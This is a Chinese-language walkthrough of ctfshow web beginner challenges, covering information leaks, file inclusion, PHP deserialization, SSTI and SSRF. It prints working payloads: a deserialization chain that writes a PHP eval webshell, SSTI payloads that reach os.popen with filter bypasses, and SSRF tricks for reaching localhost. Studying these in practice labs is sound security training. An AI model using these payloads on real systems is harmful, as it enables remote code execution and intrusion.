ctfshow web入门 wp (持续更新)
信息搜集
web1
查看网页源代码
web2
这里没办法直接右键查看源代码
方法一:在网址上输入view-source:
方法二:直接ctrl+u就可以直接查看源代码
web3
使用BP或者harkbar就可以看到
web4(robots.txt)
机器人协议
首先访问机器人协议看到它不像让你看到那些信息,再访问就可以拿到flag
web5(index.phps)
根据题目提示,存在phps源码泄露,直接访问index.phps即可拿到flag
web6(www.zip)
直接访问www.zip就可以拿到flag
web7(/.git/)
版本控制很重要,但不要部署到生产环境更重要,直接访问/.git/就能拿到flag
web8(/.svn/)
版本控制很重要,但不要部署到生产环境更重要,直接访问/.svn/就能拿到flag
web9(index.php.swp)
原理
vim 在编辑文本时就会创建临时缓存文件,用来备份缓冲区中的内容。当程序异常退出时会被保留下来,因此可以通过该缓存文件恢复原始文件内容。
直接访问index.php.swp就可以拿到flag
web10(查看cookie)
web12(/admin/+找密码)
密码一般是一串数字,这里最像密码的就是这串数字
访问/admin/后,账号admin密码是那串数字拿到flag
web13(找登录地址+密码)
这里发现其他地方都是首字母大写,但是这里却是小写字母,发现可以点击,进去后拿到管理员登陆地址和账号密码
web14(/editor/)
根据题目中提示的信息,访问/editor/可以进入一个编辑器,在编辑器中找到上传,有个上传空间,在里面找到flag的路径再进行访问就能拿到flag
web15(邮箱找地址)
根据邮箱上的QQ号查询用户,然后根据用户的地址忘记 密码重置密码后登录即可
web16(tz.php)
根据题目提示中的探针,名称一般为tz.php我们直接访问可以看到信息,再访问里面的phpinfo(),一般flag就会藏在里面,然后拿到flag
web18(源代码)
题目中玩到100以上就给flag
方法一:玩
方法二:访问源代码,查看后,找到大于100分后输出的内容,一段经过unicode编码的信息,然后进行解码就可以拿到flag
web19
访问源代码,发现的账号和加密后的密码,根据上面给的AES,key和iv可以尝试是AES加密,解密后拿到flag
web20
直接猜库名,访问db/db.mdb可以下载数据库,搜索ctfshow就能拿到flag了
web17(sql)
用dirsearch扫描发现/backup.sql可以访问,访问后拿到flag
文件包含
web78
这道题几乎没有任何限制
使用data或者filter伪协议就可以拿到flag
web79
题目意思是将php换为???
filter没办法用了,这里使用data伪协议可以拿到flag
小知识,只有一句代码的话,<?php相当于<?=
web80
题目意思是将data和php替换为???
使用日志包含就可以拿到flag
web81
同web80
反序列化
web254
要求是输入的username和passowrd要相同,直接传入就可以
web255
return $this->username===$u&&$this->password===$p;
这道题即使username和password与题目中的相同,也没办法修改$isVip的值,所以我们可以尝试在本地直接修改
$user = unserialize($_COOKIE['user']);
这里需要进行序列化了,并且使用写Cookie进行传入,才能拿到flag
因为题目中有对username和password的判断,因而仍需要传入与题目中相同的值
第一处就是上面提到的改为true
第二处,在进行序列化的时候要进行url编码,防止一些不可见字符没有写入进去
拿到flag
web256
题目中多加了一个弱相等比较,我们可以通过反序列化对题目控制题目中的username和password来进行绕过
我们修改后再传入我们修改后的username和password就可以拿到flag
修改isvip的值为true,并且修改username和password的值,在进行序列化,这里修改isvip的方式还可以使用下面的魔术方法
输入后拿到flag
web257
这里的isVip没什么用了,username和password只要传入值就可以
根据题目,我们可以观察到info类里面最终是一个return,没有办法利用,而backDoor里面有eval,我们可以利用解题$this->class=new info();
这里创造实例的时候,我们进行修改,就可以让它创造backDoor的实例,从而调用getInfo(),修改code的值进行rce
修改为$this->class-new backDoor();
1 |
|
构造payload,拿到flag
web258
这里多了个正则匹配的绕过
将全部的O:替换为O:+就可以进行绕过
其余和web257相同
payload奉上
1 |
|
构造出,然后拿到flag
web260
序列化后是本身就可以输出flag
字符串序列化序列化后就是本身
因而
?ctfshow=ctfshow_i_love_36D
只要含有ctfshow_i_love_36D就可以,还可以是asidasdhctfshow_i_love_36Dsdcojsdc只要字符转连续不断就可以
web261
public function __unserialize
和public function __wakeup()
冲突,当两者均存在时,会自动绕过wakeup魔术方法
public function __invoke()
在这里用不到,相当于没有
public function __unserialize($data)
这个函数的作用是反序列化时将username和password拼接起来,作为code的值
$this->code==0x36d
这里是弱相等比较,0x36d转为数字是877,那么由于unserialize魔术方法的拼接,结合下面的file_put_contents($this->username, $this->password);
写入,只需要username的值为877.php或者877aasd.php等即可绕过,password的值写入一句话木马,就可以rce拿到flag
这里有
public function __sleep()
sleep魔术方法是再序列化的时候调用的,返回值必须是一个数组,而这里并没有返回值 ,因而在这里没有作用,可以忽略
综上,代码奉上
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct(){
$this->username='877a.php';
$this->password='<?php eval($_POST[1]);?>';
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$a=new ctfshowvip();
echo urlencode(serialize($a));
先写入
再访问写入的877a.php,执行系统命令拿到flag
web262(经典字符串逃逸)
首先观察题目找到信息
访问后看到题目
看到
$umsg = str_replace('fuck', 'loveU', serialize($msg));
的时候,四个字符串变成五个,很明显的字符串逃逸,要求token的值为admin,就可以拿到flag
代码奉上
1 |
|
这里的输出结果要再base64编码一下,得到
Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MzEwOiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVIjtzOjM6Im1zZyI7czoxOiJiIjtzOjI6InRvIjtzOjE6ImMiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6MzoibXNnIjtzOjE6ImIiO3M6MjoidG8iO3M6MToiYyI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fQ==
写入cookie拿到flag
ssti
web361
首先我们根据题目提示找到传入的参数为name
测试发现是ssti
因为没有任何过滤,直接读就可以
?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /f*')['read']()}}
web362
开始了过滤,这里试了一下,发现过滤了数字2和3
os的类在132,这里对数字2和3进行绕过就可以,这里使用(dict(e=a)|join|count),e的个数就是数字,可以多个进行加减乘除从而得到想要的数字,使用加法的时候需要进行url编码
payload为?name={{"".__class__.__base__.__subclasses__()[(dict(eeeeeeeeee=a)|join|count)*(dict(eeeeeeeeeeeee=a)|join|count)%2B(dict(ee=a)|join|count)].__init__.__globals__['popen']('tac /f*')['read']()}}
web363
测试发现过滤了双引号和单引号
“”替换为()
这里读到全局变量就可以看到flag?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__}}
这里也可以使用绕过“”,’的方法
使用request.args.a,然后后面再&上想要写的内容就可以?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&&a=popen&&b=tac /f*
web364
这里过滤了双引号,单引号和args
这里使用values来代替args
payload为?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=tac /f*
web365
这里还过滤了[
我们使用__getitem__进行绕过就可以,它的作用是使()代替[]
payload:?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.x)(request.values.y).read()}}&x=popen&y=tac /f*
这里还学到一个新的语句,可以不使用[]?name={{url_for.__globals__.os.popen(request.values.c).read()}}&c=tac /f*
都可以拿到flag
ssrf
web360
根据题目提示为我们要打的是redis,它的开放端口为6379
即使不提示也可以通过扫描拿到端口进行尝试
这里直接使用gopherus构造payload拿到flag即可
注意在传入的时候_后要进行url二次编码,也就是要再编码一次
这里默认写入的是shell.php
默认是get方式传入cmd
web351
这里没有任何过滤,直接访问就可以了
这里为什么访问的就是flag.php,为什么就不是其他的呢?这里可以通过御剑进行扫描,发现flag.php,所以才访问这个
web359
没有密码的mysql,这里直接使用gopherus构造payload
这里语句不要由一点差错,不然没办法写入
同样的,传入的时候,_后面要进行url二次编码
web352
这里对127.0.0.1进行了过滤,我们将ip转为10进制就可以进行绕过
http://2130706433/flag.php
web353
还可以使用352的方法,为了有所区别,我们使用ip转8进制拿到flag
http://017700000001/flag.php
web354
不能出现0和1,这里使用短网址
http://sudo.cc/flag.php
web355
这里要求host的长度小于等于5,也就是127.0.0.1处长度不能大于5
这里使用127.1代替即可拿到flag
web356
要求长度小于3
这里直接使用0代替
再linux系统下0代表的就是127.0.0.1
http://0/flag.php
web358
题目意思就是这个
@前面的内容会作为用户解析,不会访问
#后面的内容被注释掉了
因而实际访问的就是http://127.0.0.1/flag
拿到flag